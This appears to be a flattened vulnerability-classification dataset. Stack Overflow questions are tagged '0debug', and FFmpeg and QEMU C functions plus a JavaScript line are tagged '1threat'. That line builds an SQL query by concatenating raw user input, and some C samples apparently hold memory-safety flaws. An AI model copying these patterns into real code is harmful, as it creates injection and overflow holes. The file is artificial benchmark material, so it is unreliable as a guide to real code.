<p>But this will render the template again.</p>
<p>Following are the task that I need to achieve:</p>
<ol>
<li><p>The requirement would be to pop up a bootstrap toast when I get an acknowledgement that the data is inserted into hive successfully. I do not want to use flash module in flask.</p></li>
<li><p>One more requirement is to show/hide loading dialog while I fetch the data from database. Once the search request is initiated, till the data is fetched, the dialog should be visible and then it should disappear.</p></li>
</ol>
<p>How can talk to HTML from python like we do in java script using id.</p>
<p>Appreciate the help.</p>
| 0debug
|
int avcodec_copy_context(AVCodecContext *dest, const AVCodecContext *src)
{
const AVCodec *orig_codec = dest->codec;
uint8_t *orig_priv_data = dest->priv_data;
if (avcodec_is_open(dest)) {
av_log(dest, AV_LOG_ERROR,
"Tried to copy AVCodecContext %p into already-initialized %p\n",
src, dest);
return AVERROR(EINVAL);
}
av_opt_free(dest);
av_free(dest->priv_data);
memcpy(dest, src, sizeof(*dest));
dest->priv_data = orig_priv_data;
dest->codec = orig_codec;
dest->slice_offset = NULL;
dest->hwaccel = NULL;
dest->internal = NULL;
dest->rc_eq = NULL;
dest->extradata = NULL;
dest->intra_matrix = NULL;
dest->inter_matrix = NULL;
dest->rc_override = NULL;
dest->subtitle_header = NULL;
if (src->rc_eq) {
dest->rc_eq = av_strdup(src->rc_eq);
if (!dest->rc_eq)
return AVERROR(ENOMEM);
}
#define alloc_and_copy_or_fail(obj, size, pad) \
if (src->obj && size > 0) { \
dest->obj = av_malloc(size + pad); \
if (!dest->obj) \
goto fail; \
memcpy(dest->obj, src->obj, size); \
if (pad) \
memset(((uint8_t *) dest->obj) + size, 0, pad); \
}
alloc_and_copy_or_fail(extradata, src->extradata_size,
FF_INPUT_BUFFER_PADDING_SIZE);
alloc_and_copy_or_fail(intra_matrix, 64 * sizeof(int16_t), 0);
alloc_and_copy_or_fail(inter_matrix, 64 * sizeof(int16_t), 0);
alloc_and_copy_or_fail(rc_override, src->rc_override_count * sizeof(*src->rc_override), 0);
alloc_and_copy_or_fail(subtitle_header, src->subtitle_header_size, 1);
dest->subtitle_header_size = src->subtitle_header_size;
#undef alloc_and_copy_or_fail
return 0;
fail:
av_freep(&dest->rc_override);
av_freep(&dest->intra_matrix);
av_freep(&dest->inter_matrix);
av_freep(&dest->extradata);
av_freep(&dest->rc_eq);
return AVERROR(ENOMEM);
}
| 1threat
|
static void pxa2xx_update_display(void *opaque)
{
struct pxa2xx_lcdc_s *s = (struct pxa2xx_lcdc_s *) opaque;
target_phys_addr_t fbptr;
int miny, maxy;
int ch;
if (!(s->control[0] & LCCR0_ENB))
return;
pxa2xx_descriptor_load(s);
pxa2xx_lcdc_resize(s);
miny = s->yres;
maxy = 0;
s->transp = s->dma_ch[2].up || s->dma_ch[3].up;
for (ch = 0; ch < PXA_LCDDMA_CHANS; ch ++)
if (s->dma_ch[ch].up) {
if (!s->dma_ch[ch].source) {
pxa2xx_dma_ber_set(s, ch);
continue;
}
fbptr = s->dma_ch[ch].source;
if (!(fbptr >= PXA2XX_SDRAM_BASE &&
fbptr <= PXA2XX_SDRAM_BASE + phys_ram_size)) {
pxa2xx_dma_ber_set(s, ch);
continue;
}
if (s->dma_ch[ch].command & LDCMD_PAL) {
cpu_physical_memory_read(fbptr, s->dma_ch[ch].pbuffer,
MAX(LDCMD_LENGTH(s->dma_ch[ch].command),
sizeof(s->dma_ch[ch].pbuffer)));
pxa2xx_palette_parse(s, ch, s->bpp);
} else {
if (LCCR4_PALFOR(s->control[4]) != s->pal_for)
pxa2xx_palette_parse(s, ch, s->bpp);
pxa2xx_dma_sof_set(s, ch);
s->dma_ch[ch].redraw(s, fbptr, &miny, &maxy);
s->invalidated = 0;
pxa2xx_dma_eof_set(s, ch);
}
}
if (s->control[0] & LCCR0_DIS) {
s->control[0] &= ~LCCR0_ENB;
s->status[0] |= LCSR0_LDD;
}
if (miny >= 0) {
if (s->orientation)
dpy_update(s->ds, miny, 0, maxy, s->xres);
else
dpy_update(s->ds, 0, miny, s->xres, maxy);
}
pxa2xx_lcdc_int_update(s);
qemu_irq_raise(s->vsync_cb);
}
| 1threat
|
java array matching to show the unique result : i am new to the java array matching.
I have two arrays. each array has the same number of element: 11
txtfilename=['txt1','txt6','txt6','txt6','txt7','txt7','txt8','txt9','txt9','txt9','txt9']
content=['apple from one','six trees','cats','happy dogs','healthy fruit','good job','ask question','check safety','stay in the house','good results','happy holiday']
in fact, the same position of element in txtfilename is matched the same position of element in content.
for example: the 2nd element in the txtfilename is matched the 2nd element in the content.
however, txtfilename has duplicated element, the element of content is unique.
I have the problem of matching these two arrays.
I want to display these two array as following:
txtfilename: txt1
content: apple from one
txtfilename:txt6
content:'six trees','cats','happy dogs'
txtfilename:txt7
content:'healthy fruit','good job'
txtfilename:txt8
content:'ask question'
txtfilename:txt9
content:'check safety','stay in the house','good results','happy holiday'
| 0debug
|
Sublime text 3 open folder option not working : <p>When I go to open the folder in Sublime Text 3 and open some folder, instead of creating a sidebar and opening the folder, it just opens a window with the name of the window set to the name of the folder. And the window will be empty! So, for example, I opened a folder called Shopping Cart tutorial. Instead of creating a sidebar and opening the folder, it will create a window with Shopping Cart Tutorial as the name of the window. Again, it will be empty, unless I open some file. Any ideas on how to fix that? </p>
| 0debug
|
static NvencSurface *get_free_frame(NvencContext *ctx)
{
int i;
for (i = 0; i < ctx->nb_surfaces; i++) {
if (!ctx->surfaces[i].lockCount) {
ctx->surfaces[i].lockCount = 1;
return &ctx->surfaces[i];
}
}
return NULL;
}
| 1threat
|
Python Newbie: Accessing Objects within Lists : Newbie here.
I am looking at a code given to me by a co-worker who no longer works with us.
I have a list variable called rx.
>> type(rx)
type 'list'
When I go to look inside rx[0] I get this:
>> rx[0]
<Thing.thing.stuff.Rx object at 0x10e1e1c10>
Can anyone translate what this means? And, more importantly, how can I see what is inside this object within the rx list?
Any help is appreciated.
| 0debug
|
connection.query('SELECT * FROM users WHERE username = ' + input_string)
| 1threat
|
How to set a cell to NaN in a pandas dataframe : <p>I'd like to replace bad values in a column of a dataframe by NaN's.</p>
<pre><code>mydata = {'x' : [10, 50, 18, 32, 47, 20], 'y' : ['12', '11', 'N/A', '13', '15', 'N/A']}
df = pd.DataFrame(mydata)
df[df.y == 'N/A']['y'] = np.nan
</code></pre>
<p>Though, the last line fails and throws a warning because it's working on a copy of df. So, what's the correct way to handle this? I've seen many solutions with iloc or ix but here, I need to use a boolean condition.</p>
| 0debug
|
Is there a way to have c# open another program using events? : <p>For example: if one program had an alert, another separate program pop up when that alarm goes off?</p>
| 0debug
|
static int unix_close(MigrationState *s)
{
DPRINTF("unix_close\n");
if (s->fd != -1) {
close(s->fd);
s->fd = -1;
}
return 0;
}
| 1threat
|
How to make a dictionary in python and save data in a file : <p>I am iterating over grouped items and based on item,user combination I am extracting user features, by using following code:</p>
<pre><code>for counter in grouped.iterrows():
user_id = counter[1]['user_id']
item_id = counter[1]['item_id']
career_level = get_value(users, user_id, 'career_level')
industry_id = get_value(users, user_id, 'industry_id')
country = get_value(users, user_id, 'country')
career_level = 'CL_' + str(career_level)
industry_id = 'IND_' + str(industry_id)
print(item_id, user_id, country, career_level, industry_id)
</code></pre>
<p>In output what I got is:</p>
<pre><code>5 797978 JO_4092133 ch CL_0 IND_1
12 1524899 JO_524518 JO_2169794 JO_2905196 de CL_2 IND_0
12 2703661 JO_1210814 JO_2573697 de CL_3 IND_0
14 1054241 JO_2804344 JO_1072229 de CL_3 IND_14
14 1297953 JO_3482421 de CL_6 IND_0
14 1548532 JO_425546 de CL_2 IND_0
14 1609264 JO_4438218 JO_1151866 de CL_3 IND_9
</code></pre>
<p>Now my desired output is something like this:</p>
<pre><code>5 797978 JO_4092133 ch CL_0 IND_1
12 1524899 JO_524518 JO_2169794 JO_2905196 de CL_2 IND_0, 2703661 JO_1210814 JO_2573697 de CL_3 IND_0
14 1054241 JO_2804344 JO_1072229 de CL_3 IND_14, 1297953 JO_3482421 de CL_6 IND_0, 1548532 JO_425546 de CL_2 IND_0, 1609264 JO_4438218 JO_1151866 de CL_3 IND_9
</code></pre>
<p>That means if some user1 has interacted with item1 and another user2 has also interacted with item1, then user1 and user2's features should be in single row. </p>
<p>Could anyone suggest me how could I achieve this goal?</p>
<p>My second question is:
How can I write this data into a file?</p>
<p>I am a beginner to python. I appreciate your help.
Thanks</p>
| 0debug
|
Force logout user laravel : <p>I'm a little confuse on how to solve this problem,</p>
<blockquote>
<p>Assuming a user login on the date of 2016-06-16, so if the date is
2016-06-17 the user will be forced logout.</p>
</blockquote>
<p>I am using laravel framework. I used carbon for capturing the date of the login. </p>
| 0debug
|
How to identify a variable data type in java : I'm building a program for homework and I want do do a type checking a certain array string that is composed of numbers and some characters in order to do something.
Like, if the element of that string is a integer, do something, else, do another thing. How can I do that? Is that possible?
| 0debug
|
static inline void mix_2f_2r_to_dolby(AC3DecodeContext *ctx)
{
int i;
float (*output)[256] = ctx->audio_block.block_output;
for (i = 0; i < 256; i++) {
output[1][i] -= output[3][i];
output[2][i] += output[4][i];
}
memset(output[3], 0, sizeof(output[3]));
memset(output[4], 0, sizeof(output[4]));
}
| 1threat
|
static void create_fw_cfg(const VirtBoardInfo *vbi, AddressSpace *as)
{
hwaddr base = vbi->memmap[VIRT_FW_CFG].base;
hwaddr size = vbi->memmap[VIRT_FW_CFG].size;
char *nodename;
fw_cfg_init_mem_wide(base + 8, base, 8, base + 16, as);
nodename = g_strdup_printf("/fw-cfg@%" PRIx64, base);
qemu_fdt_add_subnode(vbi->fdt, nodename);
qemu_fdt_setprop_string(vbi->fdt, nodename,
"compatible", "qemu,fw-cfg-mmio");
qemu_fdt_setprop_sized_cells(vbi->fdt, nodename, "reg",
2, base, 2, size);
g_free(nodename);
}
| 1threat
|
How can I disable IntelliJ using the Gradle run task to run my code? : <p>After updating IDEA, every time I debug a class <em>in a new project only</em>, it seems to be using the Gradle run task to run my code (despite using an "Application" run configuration, not "Gradle"!):</p>
<pre><code>6:40:27 AM: Executing task 'Test.main()'...
Connected to the target VM, address: '127.0.0.1:49580', transport: 'socket'
> Task :compileJava UP-TO-DATE
> Task :processResources NO-SOURCE
> Task :classes UP-TO-DATE
Connected to the VM started by ':Test.main()' (localhost:49597). Open the debugger session tab
> Task :Test.main()
test
</code></pre>
<p>This is causing me many problems.</p>
<p>If I run tasks in an old project, it will just compile and run the code directly, without using Gradle. I compared all the settings in the two run configurations, and they're identical.</p>
<p>How can I disable this and prevent IntelliJ from creating this kind of run configuration when I just want a regular run configuration?</p>
| 0debug
|
connection.query('SELECT * FROM users WHERE username = ' + input_string)
| 1threat
|
static int multiwrite_f(int argc, char **argv)
{
struct timeval t1, t2;
int Cflag = 0, qflag = 0;
int c, cnt;
char **buf;
int64_t offset, first_offset = 0;
int total = 0;
int nr_iov;
int nr_reqs;
int pattern = 0xcd;
QEMUIOVector *qiovs;
int i;
BlockRequest *reqs;
while ((c = getopt(argc, argv, "CqP:")) != EOF) {
switch (c) {
case 'C':
Cflag = 1;
break;
case 'q':
qflag = 1;
break;
case 'P':
pattern = parse_pattern(optarg);
if (pattern < 0) {
return 0;
}
break;
default:
return command_usage(&writev_cmd);
}
}
if (optind > argc - 2) {
return command_usage(&writev_cmd);
}
nr_reqs = 1;
for (i = optind; i < argc; i++) {
if (!strcmp(argv[i], ";")) {
nr_reqs++;
}
}
reqs = g_malloc0(nr_reqs * sizeof(*reqs));
buf = g_malloc0(nr_reqs * sizeof(*buf));
qiovs = g_malloc(nr_reqs * sizeof(*qiovs));
for (i = 0; i < nr_reqs; i++) {
int j;
offset = cvtnum(argv[optind]);
if (offset < 0) {
printf("non-numeric offset argument -- %s\n", argv[optind]);
return 0;
}
optind++;
if (offset & 0x1ff) {
printf("offset %lld is not sector aligned\n",
(long long)offset);
return 0;
}
if (i == 0) {
first_offset = offset;
}
for (j = optind; j < argc; j++) {
if (!strcmp(argv[j], ";")) {
break;
}
}
nr_iov = j - optind;
buf[i] = create_iovec(&qiovs[i], &argv[optind], nr_iov, pattern);
if (buf[i] == NULL) {
goto out;
}
reqs[i].qiov = &qiovs[i];
reqs[i].sector = offset >> 9;
reqs[i].nb_sectors = reqs[i].qiov->size >> 9;
optind = j + 1;
pattern++;
}
gettimeofday(&t1, NULL);
cnt = do_aio_multiwrite(reqs, nr_reqs, &total);
gettimeofday(&t2, NULL);
if (cnt < 0) {
printf("aio_multiwrite failed: %s\n", strerror(-cnt));
goto out;
}
if (qflag) {
goto out;
}
t2 = tsub(t2, t1);
print_report("wrote", &t2, first_offset, total, total, cnt, Cflag);
out:
for (i = 0; i < nr_reqs; i++) {
qemu_io_free(buf[i]);
if (reqs[i].qiov != NULL) {
qemu_iovec_destroy(&qiovs[i]);
}
}
g_free(buf);
g_free(reqs);
g_free(qiovs);
return 0;
}
| 1threat
|
static int local_symlink(FsContext *fs_ctx, const char *oldpath,
V9fsPath *dir_path, const char *name, FsCred *credp)
{
int err = -1;
int serrno = 0;
char *newpath;
V9fsString fullname;
char buffer[PATH_MAX];
v9fs_string_init(&fullname);
v9fs_string_sprintf(&fullname, "%s/%s", dir_path->data, name);
newpath = fullname.data;
if (fs_ctx->fs_sm == SM_MAPPED) {
int fd;
ssize_t oldpath_size, write_size;
fd = open(rpath(fs_ctx, newpath, buffer), O_CREAT|O_EXCL|O_RDWR,
SM_LOCAL_MODE_BITS);
if (fd == -1) {
err = fd;
goto out;
}
oldpath_size = strlen(oldpath);
do {
write_size = write(fd, (void *)oldpath, oldpath_size);
} while (write_size == -1 && errno == EINTR);
if (write_size != oldpath_size) {
serrno = errno;
close(fd);
err = -1;
goto err_end;
}
close(fd);
credp->fc_mode = credp->fc_mode|S_IFLNK;
err = local_set_xattr(rpath(fs_ctx, newpath, buffer), credp);
if (err == -1) {
serrno = errno;
goto err_end;
}
} else if ((fs_ctx->fs_sm == SM_PASSTHROUGH) ||
(fs_ctx->fs_sm == SM_NONE)) {
err = symlink(oldpath, rpath(fs_ctx, newpath, buffer));
if (err) {
goto out;
}
err = lchown(rpath(fs_ctx, newpath, buffer), credp->fc_uid,
credp->fc_gid);
if (err == -1) {
if (fs_ctx->fs_sm != SM_NONE) {
serrno = errno;
goto err_end;
} else
err = 0;
}
}
goto out;
err_end:
remove(rpath(fs_ctx, newpath, buffer));
errno = serrno;
out:
v9fs_string_free(&fullname);
return err;
}
| 1threat
|
void OPPROTO op_movl_npc_T0(void)
{
env->npc = T0;
}
| 1threat
|
Microsoft Edge: XMLHttpRequest: Network Error 0x2efd, Could not complete the operation due to error 00002efd : <p>I have a single page html and Angularjs file. </p>
<p>App.js</p>
<pre><code>angular
.module('vod', [])
.controller('moviesController', ['$http', function ($http) {
var self = this;
self.movies = [];
$http.get('http://localhost:8080/movies/').then(function (response) {
self.movies = response.data;
}, function (errResponse) {
console.error('Error while fetching movies');
});
}]);
</code></pre>
<p>HTML</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<title>Angular</title>
<script src="angular.min.js"></script>
<script src="app.js"></script>
</head>
<body ng-controller="moviesController as ctrl"
ng-app="vod">
<div ng-repeat="movie in ctrl.movies">
<span ng-bind="movie.title"></span>
</div>
</body>
</html>
</code></pre>
<p>It works well on Chrome producing the movie titles but gives the errors<br>
<code>SCRIPT7002: XMLHttpRequest: Network Error 0x2, The system cannot find the file specified</code><br>
and<br>
<code>SCRIPT7002: XMLHttpRequest: Network Error 0x2efd, Could not complete the operation due to error 00002efd.</code> on Microsoft Edge.</p>
| 0debug
|
Are all SHA1 implementations alike. : My question is simple -- with 2 seperate SHA1 implemntations am I garunteed to get the sames output for the same input, or is there space for interpretation in the implementation?
| 0debug
|
float32 helper_fitos(CPUSPARCState *env, int32_t src)
{
float32 ret;
clear_float_exceptions(env);
ret = int32_to_float32(src, &env->fp_status);
check_ieee_exceptions(env);
return ret;
}
| 1threat
|
static void spapr_finalize_fdt(sPAPREnvironment *spapr,
target_phys_addr_t fdt_addr,
target_phys_addr_t rtas_addr,
target_phys_addr_t rtas_size)
{
int ret;
void *fdt;
sPAPRPHBState *phb;
fdt = g_malloc(FDT_MAX_SIZE);
_FDT((fdt_open_into(spapr->fdt_skel, fdt, FDT_MAX_SIZE)));
ret = spapr_populate_vdevice(spapr->vio_bus, fdt);
if (ret < 0) {
fprintf(stderr, "couldn't setup vio devices in fdt\n");
exit(1);
}
QLIST_FOREACH(phb, &spapr->phbs, list) {
ret = spapr_populate_pci_dt(phb, PHANDLE_XICP, fdt);
}
if (ret < 0) {
fprintf(stderr, "couldn't setup PCI devices in fdt\n");
exit(1);
}
ret = spapr_rtas_device_tree_setup(fdt, rtas_addr, rtas_size);
if (ret < 0) {
fprintf(stderr, "Couldn't set up RTAS device tree properties\n");
}
if (nb_numa_nodes > 1) {
ret = spapr_set_associativity(fdt, spapr);
if (ret < 0) {
fprintf(stderr, "Couldn't set up NUMA device tree properties\n");
}
}
if (!spapr->has_graphics) {
spapr_populate_chosen_stdout(fdt, spapr->vio_bus);
}
_FDT((fdt_pack(fdt)));
if (fdt_totalsize(fdt) > FDT_MAX_SIZE) {
hw_error("FDT too big ! 0x%x bytes (max is 0x%x)\n",
fdt_totalsize(fdt), FDT_MAX_SIZE);
exit(1);
}
cpu_physical_memory_write(fdt_addr, fdt, fdt_totalsize(fdt));
g_free(fdt);
}
| 1threat
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.